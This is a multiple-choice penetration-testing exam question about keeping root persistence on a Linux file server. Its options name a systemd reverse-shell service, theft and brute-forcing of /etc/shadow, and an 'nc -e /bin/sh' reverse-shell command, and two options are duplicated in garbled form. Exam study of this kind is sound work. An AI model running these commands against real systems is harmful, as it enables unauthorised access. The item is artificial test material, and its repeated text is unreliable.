A Penetration Tester Has Obtained Root Access to a Linux-Based

Multiple Choice

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

A) Create a one-shot systemd service to establish a reverse shell.
B) Obtain /etc/shadow and brute force the root password. Obtain /etc/shadow and brute force the root password.
C) Run the nc -e /bin/sh <...> command. Run the nc -e /bin/sh <...> command.
D) Move laterally to create a user account on LDAP